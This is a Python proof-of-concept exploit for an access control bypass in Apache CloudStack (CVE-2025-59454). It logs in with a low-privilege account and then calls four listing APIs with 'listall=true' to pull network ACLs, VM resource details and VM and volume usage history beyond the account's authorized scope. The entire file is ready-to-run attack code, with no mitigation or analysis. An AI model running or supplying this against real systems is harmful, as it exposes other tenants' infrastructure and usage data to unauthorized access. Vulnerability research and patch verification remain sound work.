# CVE-2025-59454 Apache CloudStack Access Control Bypass PoC
# Requires authenticated session with valid user credentials
import requests
import json
# Configuration
TARGET_URL = "https://target-cloudstack-server.com"
API_KEY = "your_api_key"
SECRET_KEY = "your_secret_key"
SESSION_USER = "
[email protected]"
SESSION_PASSWORD = "password123"
def login():
"""Authenticate to CloudStack and obtain session cookie"""
login_url = f"{TARGET_URL}/api"
login_data = {
"command": "login",
"username": SESSION_USER,
"password": SESSION_PASSWORD,
"domain": "/",
"response": "json"
}
response = requests.post(login_url, data=login_data)
return response.cookies
def exploit_list_network_acls(cookies):
"""Exploit CVE-2025-59454: List Network ACLs beyond authorized scope"""
api_url = f"{TARGET_URL}/api"
payload = {
"command": "listNetworkACLs",
"listall": "true", # Key parameter for exploitation
"response": "json"
}
response = requests.get(api_url, params=payload, cookies=cookies)
return response.json()
def exploit_list_resource_details(cookies):
"""Exploit CVE-2025-59454: List Resource Details beyond authorized scope"""
api_url = f"{TARGET_URL}/api"
payload = {
"command": "listResourceDetails",
"listall": "true",
"resourcetype": "UserVm",
"response": "json"
}
response = requests.get(api_url, params=payload, cookies=cookies)
return response.json()
def exploit_list_vm_usage_history(cookies):
"""Exploit CVE-2025-59454: List VM Usage History beyond authorized scope"""
api_url = f"{TARGET_URL}/api"
payload = {
"command": "listVirtualMachinesUsageHistory",
"listall": "true",
"response": "json"
}
response = requests.get(api_url, params=payload, cookies=cookies)
return response.json()
def exploit_list_volume_usage_history(cookies):
"""Exploit CVE-2025-59454: List Volume Usage History beyond authorized scope"""
api_url = f"{TARGET_URL}/api"
payload = {
"command": "listVolumesUsageHistory",
"listall": "true",
"response": "json"
}
response = requests.get(api_url, params=payload, cookies=cookies)
return response.json()
def main():
print("[*] CVE-2025-59454 Apache CloudStack Access Control Bypass")
print("[*] Target: Apache CloudStack < 4.20.2.0 or < 4.22.0.0")
# Step 1: Authenticate with low-privilege account
print("\n[1] Authenticating with low-privilege user...")
cookies = login()
# Step 2: Exploit access control bypass
print("[2] Exploiting access control bypass...")
print("[*] Fetching Network ACLs (potentially unauthorized)...")
network_acls = exploit_list_network_acls(cookies)
print("[*] Fetching Resource Details (potentially unauthorized)...")
resource_details = exploit_list_resource_details(cookies)
print("[*] Fetching VM Usage History (potentially unauthorized)...")
vm_usage = exploit_list_vm_usage_history(cookies)
print("[*] Fetching Volume Usage History (potentially unauthorized)...")
volume_usage = exploit_list_volume_usage_history(cookies)
# Step 3: Analyze results
print("\n[3] Analyzing collected data...")
if network_acls.get('listnetworkaclresponse'):
print(f"[!] Retrieved {len(network_acls['listnetworkaclresponse'])} Network ACLs")
print("\n[*] Exploitation complete")
return True
if __name__ == "__main__":
main()